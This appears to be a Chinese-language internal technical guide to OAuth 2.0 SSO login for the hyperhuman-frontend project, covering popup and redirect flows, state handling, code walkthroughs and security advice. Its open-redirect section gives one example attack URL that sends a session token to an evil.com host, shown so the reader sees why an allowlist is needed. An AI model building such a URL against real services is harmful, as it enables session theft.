Skip to content

OAuth SSO 登录完整技术指南(Popup + Redirect) ​

本文基于 hyperhuman-frontend 项目的 SSO 实现,完整梳理 OAuth 2.0 授权码模式(Authorization Code Flow)在 Redirect 与 Popup 两种常用模式下的前后端协作机制、落地步骤、对比与避坑。


目录 ​

  1. OAuth 2.0 基础概念
  2. 两种前端登录模式
  3. Redirect 模式完整流程(前端 code 换 token)
  4. Popup 模式完整流程(后端直接回传 token)
  5. 后端缓存了什么
  6. 代码结构与职责划分
  7. 本项目的实际代码走读
  8. 常见问题与陷阱
  9. 本地开发配置清单
  10. 安全注意事项

1. OAuth 2.0 基础概念 ​

1.1 角色定义 ​

角色英文本项目对应
资源所有者Resource Owner用户本人
客户端Clienthyperhuman 前端 + 后端
授权服务器Authorization ServerGoogle / GitHub
资源服务器Resource ServerGoogle 用户信息 API

1.2 授权码模式(Authorization Code Flow) ​

这是 Web 应用最常用、最安全的 OAuth 模式,核心特点是:

  • 前端从不接触 access_token,token 的获取完全在后端服务器之间完成
  • 前端只拿到一个一次性的 code,后端用这个 code 向授权服务器换取真正的 token
  • 即使 code 在 URL 里被截获,攻击者也无法使用(需要 client_secret,只有后端有)
用户浏览器                  你的后端                Google 授权服务器
     │                         │                         │
     ├─── 点击登录 ─────────────►│                         │
     │                         ├── 生成 state ───────────►│
     │◄── 302 重定向 ──────────── │   (到 Google 授权页)    │
     │                         │                         │
     │──── 用户同意授权 ──────────────────────────────────►│
     │◄──────────────────────────────── code + state ─────│
     │                         │                         │
     │── 带 code 回调后端 ──────►│                         │
     │                         ├── code + client_secret ►│
     │                         │◄── access_token ─────────│
     │                         ├── 查询用户信息 ───────────►│
     │                         │◄── email, id... ─────────│
     │                         ├── 创建/查找用户           │
     │                         ├── 生成 session_token     │
     │◄── session_token ────────│                         │

关键点:client_secret 永远不离开后端服务器,这是整个模式安全性的基础。


2. 两种前端登录模式 ​

2.1 整页跳转(Redirect Mode) ​

用户点击登录
→ window.location.href = 后端 /api/auth/oauth/google/login
→ 整个页面离开,跳到 Google 授权页
→ 用户授权
→ 页面跳回 /login?oauth=google&code=xxx
→ 前端 OAuthHandler 组件读取 URL 参数
→ 调用 authorizeExternal API(前端主动用 code 换 session_token)
→ 存 token,完成登录

适用场景:移动端(移动端浏览器经常拦截 popup)

authorizeExternal 在这里被调用。

2.2 弹窗(Popup Mode)——本项目默认模式 ​

用户点击登录
→ window.open 打开小窗口
→ 用户在小窗口里完成 Google 授权
→ 后端完成 code 换 token 的全部工作
→ 后端把 session_token 塞进 URL,redirect 小窗口到 callback 页面
→ callback 页面通过 postMessage 把 token 发给主窗口
→ 主窗口存 token,完成登录
→ 小窗口关闭

适用场景:PC 端,用户体验更好(不离开当前页面)

authorizeExternal 在这里完全不被调用。 token 由后端直接通过 redirect URL 参数传回。

2.3 两种模式的核心区别 ​

对比项Redirect 模式Popup 模式
用户体验页面会跳走再回来始终留在原页面
token 获取方前端调 API 拿后端 redirect URL 里的参数
authorizeExternal被调用不被调用
callback 处理组件OAuthHandler 路由组件oauth-popup-callback.html
移动端兼容性好差(popup 常被拦截)
实现复杂度稍低稍高(需要 postMessage 通信)

3. Redirect 模式完整流程(前端 code 换 token) ​

这一节专门讲你提到的“前端拿到 code 后调用后端接口换平台 session_token”。

Step 1:前端发起整页跳转 ​

js
// login 页点击 Google 登录
window.location.href = `${API_BASE}/auth/oauth/google/login?redirect_uri=${encodeURIComponent(
  `${window.location.origin}/login/oauth/callback`
)}`;

特点:当前页面会离开,用户先去授权站点,授权结束后再回到你的前端 callback 路由。

Step 2:后端 /login 生成 state 并 302 到 Google ​

后端和 Popup 模式一样,仍然要做:

  1. 生成一次性 state(防 CSRF)
  2. 缓存 state -> redirect_uri(Redis,短 TTL)
  3. 302 到 Google 授权地址(response_type=code)

Step 3:Google 回调到后端 callback ​

Google 会带着 code 和 state 回调:

text
GET /api/auth/oauth/google/callback?code=xxx&state=yyy

Redirect 模式下,后端此时不直接生成 session,而是把用户再跳回前端 callback 页面,并把 code/state 原样带回去:

text
302 -> https://your-frontend.com/login/oauth/callback?provider=google&code=xxx&state=yyy

Step 4:前端 callback 页面读取 code 并调用 authorizeExternal ​

js
// OAuthHandler / handleSsoCallback
const params = new URLSearchParams(window.location.search);
const provider = params.get('provider');
const code = params.get('code');
const state = params.get('state');

if (!provider || !code || !state) throw new Error('MISSING_OAUTH_PARAMS');

const resp = await authorizeExternal(provider, { code, state });
const { session_token, user_uuid } = resp.data?.data || {};
await authManager.signInWithToken({ session_token, user_uuid });

这里的关键是:authorizeExternal 才是“用 code 换你业务 token”的动作。

Step 5:后端 authorizeExternal 校验并换 token ​

后端 /auth/oauth/{provider}/callback(或等价接口)做的事:

  1. 校验 state 是否存在、是否匹配、是否过期(并一次性删除)
  2. 用 code + client_secret 向 Google 换 access_token/id_token
  3. 获取三方用户身份(sub/email)
  4. 查找/创建本地用户
  5. 生成平台 session_token
  6. JSON 返回给前端:{ session_token, user_uuid }

Step 6:前端持久化登录态并进入已登录状态 ​

  • 存储 session_token(localStorage 或 cookie 策略)
  • 初始化请求头(Authorization: Bearer ...)
  • 拉取用户信息、刷新全局状态、跳转业务首页

Redirect 模式最小落地清单 ​

  • 前端有 callback 路由组件(例如 OAuthHandler)
  • callback 里必须处理 provider/code/state/error
  • 提供 authorizeExternal API
  • 后端必须做一次性 state 校验和回收
  • 接口需支持失败兜底(无效 code、state 过期、用户取消)

4. Popup 模式完整流程(后端直接回传 token) ​

Step 1:前端打开 Popup ​

js
// sso.js - startOAuthPopup()

const frontendCallbackUrl = `${window.location.origin}/sso/oauth-popup-callback.html`;

const url = `https://api.hyper3d.com/api/auth/oauth/google/login
              ?redirect_uri=http://localhost:5173/sso/oauth-popup-callback.html`;

const popup = window.open(url, 'sso', 'width=600,height=700,...');

// 同时,主窗口开始监听 postMessage
window.addEventListener('message', onMessage);
// 启动 2 分钟超时计时器

redirect_uri 是告诉后端:"你处理完之后,把 popup 窗口 redirect 到这个地址"。

Step 2:后端处理 /login 接口 ​

后端收到请求后做三件事:

1. 生成随机 state 字符串(防 CSRF,如 "f3a9b2c1...")

2. 把上下文存入 Redis(TTL 10 分钟):
   key:   oauth_state:f3a9b2c1
   value: {
     redirect_uri: "http://localhost:5173/sso/oauth-popup-callback.html",
     referral_code: "xxx"(如果有)
   }

3. 构造 Google 授权 URL 并 302 redirect:
   https://accounts.google.com/o/oauth2/auth
     ?client_id=YOUR_CLIENT_ID
     &redirect_uri=https://api.hyper3d.com/api/auth/oauth/google/callback
     &state=f3a9b2c1
     &scope=openid email profile
     &response_type=code
     &access_type=offline

注意:这里 redirect_uri 是后端自己的 callback 地址(Google 配置好的),不是前端的地址。前端地址存在 state 里。

Step 3:用户在 Popup 里完成授权 ​

用户在弹出的 Google 登录页里选账号、点同意。Google 把 popup 重定向到:

https://api.hyper3d.com/api/auth/oauth/google/callback
  ?code=4/0AcxxxxxxxxxxxxxxX
  &state=f3a9b2c1

Step 4:后端 Callback 处理(核心) ​

后端收到 code + state:

1. 验证 state:
   - 从 Redis 查 oauth_state:f3a9b2c1
   - 不存在 → 拒绝(CSRF 攻击或重放攻击)
   - 存在 → 取出 { redirect_uri },并立即删除这条 Redis 记录(一次性)

2. 用 code 换 access_token(服务器间通信,用户不可见):
   POST https://oauth2.googleapis.com/token
     code=4/0Acxxxxxxxx
     client_id=YOUR_CLIENT_ID
     client_secret=YOUR_CLIENT_SECRET     ← 永远不离开后端
     redirect_uri=https://api.hyper3d.com/...
     grant_type=authorization_code

   返回:{ access_token, id_token, refresh_token }

3. 解析 id_token(JWT),获取用户信息:
   { sub: "google_user_id", email: "user@gmail.com", name: "...", picture: "..." }

4. 数据库操作:
   - 根据 google_id 或 email 查找用户
   - 不存在 → 创建新用户(这就是"为什么授权后就登录了")
   - 存在 → 直接使用

5. 生成平台 session_token:
   - 创建一条 session 记录(UUID 或 JWT)
   - 存入数据库/Redis,关联 user_id

6. 302 redirect 到 redirect_uri(之前从 Redis 取出来的前端地址):
   http://localhost:5173/sso/oauth-popup-callback.html
     ?session_token=eyJhbGci...
     &user_uuid=abc-123

这就是问题的答案:

用户在 Google 授权页点击"同意"之后,后端就拿到了 Google 颁发的 code,用这个 code 向 Google 换取了用户的身份信息(email、Google ID),并在自己的数据库里完成了账号的查找或创建。session_token 是后端生成的登录凭证,代表"这个用户已经在我们平台登录了"。前端拿到这个 token 后,不需要再做任何"登录"操作——登录事实已经在后端确立。

Step 5:Popup Callback 页面执行 ​

html
<!-- /sso/oauth-popup-callback.html -->
<script>
  (function() {
    var params = new URLSearchParams(window.location.search);
    var error = params.get('error');

    if (error) {
      window.opener.postMessage(
        { type: 'oauth-error', error: error },
        window.location.origin
      );
      window.close();
      return;
    }

    var sessionToken = params.get('session_token') || params.get('token');

    if (!sessionToken) {
      window.opener.postMessage(
        { type: 'oauth-error', error: 'MISSING_SESSION_TOKEN' },
        window.location.origin
      );
      window.close();
      return;
    }

    // 通过 postMessage 把 token 发给主窗口
    window.opener.postMessage(
      {
        type: 'oauth-success',
        session_token: sessionToken,
        user: Object.fromEntries(params)  // 附带所有参数
      },
      window.location.origin  // targetOrigin:只发给同源的 opener
    );

    window.close();
  })();
</script>

为什么用 postMessage 而不是直接读 localStorage?

postMessage 是浏览器提供的跨窗口安全通信 API。虽然两个窗口同源,用 localStorage 也能传,但 postMessage 更明确:

  • 有明确的发送方/接收方
  • 支持 targetOrigin 校验,防止意外泄露
  • 异步事件驱动,主窗口不需要轮询

Step 6:主窗口处理 token,完成登录 ​

js
// waitForSsoMessage() 收到消息
// → startOAuthPopup() 返回 msg
// → ssoProvider._oauthLogin() 提取 session_token
// → authManager.signInWithToken({ session_token, user_uuid })
//   → session.js: persistSession() 存入 localStorage
//   → bootstrapUser(token):
//       initNet(token)              // 设置 axios 请求头
//       getUserInfo()               // 拉取完整用户信息
//       _setLogInfo(userDataMeta)   // 更新 Recoil,UI 刷新
//       _setSubscriptionsInfo(...)  // 更新订阅状态
//       ...

5. 后端缓存了什么 ​

4.1 OAuth State(防 CSRF,临时) ​

存储位置:Redis
Key:      oauth_state:{random_string}
Value:    { redirect_uri, referral_code, created_at }
TTL:      10 分钟
生命周期:生成时写入,callback 时读取后立即删除(一次性)

为什么需要 state?

假设没有 state:攻击者可以构造一个恶意链接,诱导你点击,触发一个攻击者控制的 OAuth 授权流程,最终把攻击者账号绑定到你的账号上(CSRF 攻击)。

state 的作用:每次登录请求都生成唯一随机值,callback 时验证这个值是否是本次请求发出的,确保回调是合法的。

4.2 Session Token(用户登录态,持久) ​

存储位置:数据库 或 Redis
Key:      session:{token_value}
Value:    { user_id, created_at, expires_at, device_info }
TTL:      通常 7~30 天(取决于业务)

前端每次 API 请求带上这个 token(在 Authorization: Bearer xxx 头里),后端查这条记录来识别用户身份。

4.3 本项目前端的 token 存储 ​

js
// session.js - persistSession()
localStorage.setItem('token', session_token);
localStorage.setItem('user_uuid', user_uuid);

每次 axios 请求通过 interceptor 自动注入:

js
// net.js - request interceptor
config.headers.Authorization = `Bearer ${localStorage.getItem('token')}`;
config.headers['x-hyper3d-token'] = `Bearer ${token}`;

6. 代码结构与职责划分 ​

src/utils/auth/
├── sso.js              # 底层工具函数(无 React 依赖,无 import)
│                       # - buildOAuthLoginUrl()    构造登录 URL
│                       # - openCenteredPopup()     打开居中弹窗
│                       # - waitForSsoMessage()     监听 postMessage
│                       # - startOAuthPopup()       完整 popup 流程
│                       # - startSamlRedirect()     SAML 跳转
│
├── ssoProvider.js      # Provider 注册表 + 统一登录入口
│                       # - PROVIDERS 配置对象      注册 google/github/saml
│                       # - ssoLogin()              统一入口,自动选择 popup/redirect
│                       # - handleSsoCallback()     Redirect 模式的 callback 处理
│                       # - getCallbackUrl()        获取 callback URL(用于后端配置)
│
├── authManager.js      # 登录状态管理(React 无关的单例服务)
│                       # - createAuthManager()     初始化,注入 Recoil setters
│                       # - signInWithToken()       持久化 session + bootstrap 用户
│                       # - bootstrapUser()         拉取用户数据,更新全局状态
│                       # - signOut()               清除 session,重置 Recoil
│
└── session.js          # localStorage session 读写
                        # - persistSession()        写入 token/user_uuid

public/sso/
└── oauth-popup-callback.html   # Popup callback 页面
                                # 读取 URL 参数,postMessage 给主窗口

调用链 ​

UI(LoginPanel)
  └── ssoLogin('google')                           [ssoProvider.js]
        └── startOAuthPopup('google', options)     [sso.js]
              ├── buildOAuthLoginUrl()              [sso.js]
              ├── openCenteredPopup(url)            [sso.js]
              └── waitForSsoMessage()              [sso.js]
                    │
                    │ (等待 postMessage)
                    │
              ◄─── oauth-success { session_token } [callback.html]
        └── 返回 { session_token }
  └── authManager.signInWithToken({ session_token })  [authManager.js]
        ├── persistSession()                           [session.js]
        └── bootstrapUser(token)                      [authManager.js]
              ├── getUserInfo()                        [net.js]
              ├── _setLogInfo(userData)                [Recoil]
              └── _setSubscriptionsInfo(...)           [Recoil]

7. 本项目的实际代码走读 ​

6.1 waitForSsoMessage 的工作原理 ​

js
export function waitForSsoMessage({
    expectedOrigin = window.location.origin,
    timeoutMs = 2 * 60 * 1000,
    successTypes = ['oauth-success', 'sso-success'],
    errorTypes = ['oauth-error', 'sso-error'],
} = {}) {
    return new Promise((resolve, reject) => {
        let timeoutId = null;

        const onMessage = (event) => {
            // 关键安全检查:只处理来自同源的消息
            if (expectedOrigin && event.origin !== expectedOrigin) return;

            const { type } = event.data || {};

            if (successTypes.includes(type)) {
                cleanup();
                resolve(event.data);
            } else if (errorTypes.includes(type)) {
                cleanup();
                reject(Object.assign(new Error(event.data.error || 'SSO_FAILED'), { data: event.data }));
            }
        };

        const cleanup = () => {
            window.removeEventListener('message', onMessage);
            if (timeoutId) window.clearTimeout(timeoutId);
        };

        window.addEventListener('message', onMessage);

        timeoutId = window.setTimeout(() => {
            cleanup();
            reject(new Error('SSO_TIMEOUT'));
        }, timeoutMs);
    });
}

这里最容易出问题的地方:

js
if (expectedOrigin && event.origin !== expectedOrigin) return;

event.origin 是 postMessage 发送方的 origin,也就是 callback 页面的 origin。 expectedOrigin 默认是 window.location.origin,也就是主窗口的 origin。

在本地开发时:

  • 主窗口:http://localhost:5173
  • callback 页面:如果后端 redirect 到了 https://hyper3d.ai/sso/...,则发送方 origin 是 https://hyper3d.ai
  • https://hyper3d.ai !== http://localhost:5173 → 消息被过滤 → 主窗口永远没有反应

这就是本地开发出现"popup 跳到线上,主页面无反应"的根本原因。

6.2 getApiBase() 的作用 ​

js
function getApiBase() {
    return localStorage.getItem('BASE_URL') || '/api';
}

net.js 在初始化时执行 localStorage.setItem('BASE_URL', BASE_URL),BASE_URL 会根据 fallback 状态选择不同的 CDN endpoint(如 https://api.hyper3d.com/api)。

sso.js 故意不 import net.js(避免循环依赖),通过 localStorage 拿到这个值。

6.3 authorizeExternal 为什么有 Authorization: undefined ​

js
// net.js
const authorizeExternal = (provider, params, captchaToken) => {
    return axiosClient.get(
        `${BASE_URL}/auth/oauth/${encodeURIComponent(provider)}/callback`,
        {
            params,
            headers: {
                Authorization: undefined,   // ← 为什么?
            },
        }
    );
};

因为 request interceptor 会自动给所有请求加上 Authorization: Bearer {token}:

js
axiosClient.interceptors.request.use((config) => {
    if (config.headers.Authorization === undefined) return config;  // ← 这里
    const token = localStorage.getItem('token');
    if (token) config.headers.Authorization = `Bearer ${token}`;
    return config;
});

回调时用户尚未登录,localStorage 里没有 token,但如果之前有旧 token 残留,会被意外注入。所以显式传 Authorization: undefined 来跳过自动注入。


8. 常见问题与陷阱 ​

7.1 Popup 被浏览器拦截 ​

现象:window.open 返回 null

原因:浏览器要求 window.open 必须在用户手势(click 事件)的同步调用链内。如果中间有 await 打断,浏览器会认为不是用户发起的,直接拦截。

错误示例:

js
// ❌ 错误:await 之后调用 window.open,浏览器会拦截
async function handleLogin() {
    await someAsyncOperation();  // 打断了用户手势链
    startOAuthPopup('google');   // 被拦截
}

正确做法:

js
// ✅ 正确:在用户点击的同步链里直接调用
function handleLogin() {
    startOAuthPopup('google').then(...).catch(...);
    // 不要 await,让 window.open 在同步代码里执行
}

7.2 本地开发 404 / 主页面无反应 ​

根本原因:后端 callback 处理完后,redirect 到了写死的生产环境 URL,而不是你本地的 callback 页面。

解决方案:

前端登录 URL 传入 redirect_uri:

GET /api/auth/oauth/google/login
    ?redirect_uri=http://localhost:5173/sso/oauth-popup-callback.html

后端需要:

  1. 接受 redirect_uri 参数
  2. 存入 state(Redis),callback 时读取
  3. 白名单校验 origin(localhost, hyper3d.ai, staging 域名等)
  4. callback 完成后 redirect 到这个地址

7.3 postMessage 消息被过滤 ​

现象:callback 页面 postMessage 发出,主窗口收不到,控制台没有报错

排查步骤:

  1. 检查 callback 页面的 window.location.origin
  2. 检查主窗口的 window.location.origin
  3. 两者必须相同,waitForSsoMessage 才能接收到消息

7.4 Popup 被用户手动关闭 ​

现象:用户关掉了 popup 窗口,主窗口 waitForSsoMessage 一直等到超时(2 分钟)

建议修复:检测 popup 关闭事件,提前 reject:

js
// 在 startOAuthPopup 里加入
const pollClose = setInterval(() => {
    if (popupWin.closed) {
        clearInterval(pollClose);
        reject(new Error('POPUP_CLOSED_BY_USER'));
    }
}, 500);

7.5 authorizeExternal 路径双 /api ​

js
// ❌ 错误:BASE_URL 已含 /api,又拼了 /api/auth/...
`${BASE_URL}/api/auth/oauth/${provider}/callback`
// 结果:https://api.hyper3d.com/api/api/auth/...

// ✅ 正确
`${BASE_URL}/auth/oauth/${provider}/callback`
// 结果:https://api.hyper3d.com/api/auth/...

7.6 SAML 与 OAuth 路径混淆 ​

API 文档定义:

OAuth:  /api/auth/oauth/{provider}/login
        /api/auth/oauth/{provider}/callback
SAML:   /api/auth/saml/{provider}/login
        /api/auth/saml/{provider}/callback  (POST)
        /api/auth/saml/{provider}/metadata

注意 SAML callback 是 POST 请求(IdP 向后端发 SAML Response),不是 GET。


9. 本地开发配置清单 ​

前端侧
✅ sso.js: buildOAuthLoginUrl 传 redirect_uri(当前 origin 的 callback URL)
✅ public/sso/oauth-popup-callback.html 存在
✅ net.js: authorizeExternal 路径不含双重 /api

后端侧
⬜ /api/auth/oauth/{provider}/login 接受 redirect_uri query 参数
⬜ login 时把 redirect_uri 存入 Redis state
⬜ callback 时从 state 取出 redirect_uri,做 301/302 redirect
⬜ redirect_uri 白名单校验(防 open redirect 攻击):
   - https://hyper3d.ai
   - http://localhost:3000(或你的本地端口)
   - https://staging.hyper3d.ai(如有)

Google OAuth App 配置
✅ 已授权重定向 URI 包含后端的 callback 地址:
   https://api.hyper3d.com/api/auth/oauth/google/callback

10. 安全注意事项 ​

9.1 Open Redirect 攻击 ​

如果后端直接信任前端传来的 redirect_uri,攻击者可以构造:

/api/auth/oauth/google/login?redirect_uri=https://evil.com/steal-token

用户授权后,session_token 被发到攻击者网站。

防御:后端维护白名单,只允许已知的前端域名。

9.2 CSRF 攻击 ​

通过 state 参数防御,上文已详述。state 必须是随机生成的,不能是可预测的值(如用户 ID)。

9.3 token 存储安全 ​

本项目将 session_token 存在 localStorage,存在 XSS 攻击风险(恶意脚本可以读取)。更安全的方案是使用 HttpOnly Cookie(JS 无法读取),但需要后端配合,且跨域场景需要处理 SameSite 和 CORS 配置。

9.4 postMessage targetOrigin ​

js
// ❌ 不要用 '*',任何页面都能收到
window.opener.postMessage(msg, '*');

// ✅ 指定 origin,只有同源的 opener 能收到
window.opener.postMessage(msg, window.location.origin);

9.5 session_token 有效期 ​

session_token 应该有合理的过期时间,避免长期有效的 token 被滥用。后端应实现:

  • token 过期自动失效
  • 用户主动登出时让 token 失效(服务端销毁)
  • 支持多设备登录时的 token 管理

附:完整时序图 ​

主窗口 (localhost:5173)         popup 窗口              后端 API              Google
         │                          │                      │                      │
         │  window.open(login_url)  │                      │                      │
         ├─────────────────────────►│                      │                      │
         │  addEventListener(msg)   │                      │                      │
         │                          │  GET /oauth/login    │                      │
         │                          ├─────────────────────►│                      │
         │                          │                      │ 存 state → Redis     │
         │                          │                      │ 构造 Google Auth URL  │
         │                          │◄──── 302 ────────────│                      │
         │                          │                      │                      │
         │                          │────────────────────────────────────────────►│
         │                          │         (Google 授权页面在 popup 里显示)     │
         │                          │                      │                      │
         │                          │         用户选择账号并点击"同意"              │
         │                          │                      │◄─ code + state ──────│
         │                          │                      │ 验证 state(Redis)   │
         │                          │                      │ code → access_token  │
         │                          │                      │ 获取用户信息          │
         │                          │                      │ 查/建 用户账号        │
         │                          │                      │ 生成 session_token   │
         │                          │◄─ 302 /callback.html │                      │
         │                          │   ?session_token=xxx │                      │
         │                          │                      │                      │
         │                          │ (执行 callback.html)│                      │
         │◄── postMessage ──────────│                      │                      │
         │    { type: 'oauth-success│                      │                      │
         │      session_token: xxx }│  window.close()      │                      │
         │                          ×                      │                      │
         │                          │                      │                      │
         │ signInWithToken(token)   │                      │                      │
         │ persistSession()         │                      │                      │
         ├─── GET /user/get_info ───────────────────────► │                      │
         │◄──────────────────────────────────── 用户数据 ──│                      │
         │ 更新 Recoil state        │                      │                      │
         │ UI 响应,登录完成         │                      │                      │